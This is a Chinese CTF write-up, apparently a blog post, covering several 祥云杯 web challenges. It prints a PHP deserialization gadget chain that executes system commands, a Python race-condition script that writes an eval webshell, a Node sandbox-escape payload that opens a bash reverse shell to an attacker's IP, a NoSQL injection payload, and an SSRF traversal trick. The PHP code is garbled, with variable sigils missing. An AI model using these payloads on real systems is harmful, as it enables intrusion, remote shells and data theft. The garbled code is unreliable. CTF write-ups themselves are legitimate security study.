祥云杯 web wp
祥云杯 web wp

祥云杯 web wp

祥云杯web wp

ezyii

tc师傅光速找到链接 第四条链子可以用qaq。比赛期间临时把这文章删了可还行。看wm的wp还是人家师傅自己找的tql。

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected output;
        privateprocesses = [];
        public function __construct(){
            this->processes[]=new DefaultGenerator(new AppendStream());this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
{
    protected default;

    public function __construct(default = null)
    {
        this->default =default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private streams = [];
        privateseekable = true;
        public function __construct(){
            this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        privateremoteStream;
        public function __construct(){
            this->remoteStream=new DefaultGenerator(false);this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private source;
        privatesize=-10;
        private buffer;
        public function __construct(){this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            a = function(){system("cat /flag.txt");};a = \Opis\Closure\serialize(a);b = unserialize(a);this->source=$b;
        }
    }
}
//flag{2d71d2ff-f3d9-495f-b788-3199b60ff2cf}

加个base64就行了

安全检测

buu没有复现环境,在这里讲一下思路:

很明显是一个ssrf,在爆破的过程中发现报错回显存在file_get_contents,题目还ban了dict file啥的协议掩人耳目qwq(file-get_contents只支持http协议)。各种尝试大概知道后台的过滤函数是先进行判断是否包含”http”,匹配到了再进行传入。然后就想到了一个奇技淫巧可以读源码:

fxxk:/http://../../../../../../var/www/html/admin/include123.php

赛后很尴尬的看到有师傅直接扫到了/admin。。。我们刚开始忘了扫是真的憨还好后来扫了一下,存在/admin/include123.php,源码找不到了,去嫖个图贴这吧

这waf写的方式有点亲切。。。awd脚本里嫖来的吧。session条件竞争,贴个脚本

import io
import requests
import threading

def Write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 512)
        session.post(url='url', 
                 data={'PHP_SESSION_UPLOAD_PROGRESS': '111111111111111111111111111111111111111111111111111111111<?php phpinfo();file_put_contents("/tmp/1","<?php eval(base64_decode(\$_GET[1]));phpinfo();?>");?>'}, 
                 files={'file': ('Firebasky.txt',f)}, 
                 cookies={'PHPSESSID': 'Firebasky'})

if __name__=="__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1,50):
            threading.Thread(target=Write,args=(session,)).start()

层层穿透

比赛的时候环境稀碎 jar传了一万年都没传上。听说进内网用fastjson打的

crawler_z

考的是zombie注入漏洞:zombie使用vm库,在解析js和html的时候进行了调用。

本题的漏洞点在goto的visit上:

我们先进行用户注册,在更新信息界面传一个正常的bucket值并且抓包,因为后台存在302跳转,我们先不放行,然后传入我们在vps构造的包含沙箱逃逸代码的url,放行抓的包,就能进行绕过。但是我们传入的url要满足另一个条件如下图:

随便在请求url的时候传一个值?a=oss-cn-bejing.ichunqiu.com就能进行绕过。

我们在服务区上创建一个test.html,包含脚本如下:

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>

然后访问/user/bucket,服务器接收到shell。(记得监听

PackageManager2021

上了ts脚本可还行。。。比赛的时候花了一个小时去看了ts的官方文档,啥信息也没搞到。。

在index.ts文件中,auth路由直接进行了数据库拼接操作,存在nosql注入

先注册一个用户,然后在/auth这个路由中传入我们的注入语句。看到天璇的师傅用的盲注,wm的师傅直接用了js的特性语法:

try{
    查询
}catch($a){
    抛出异常
}

payload如下:

e10adc3949ba59abbe56e057f20f883e" || (()=>{throw Error(this.password)})() == "admin

发表评论

您的电子邮箱地址不会被公开。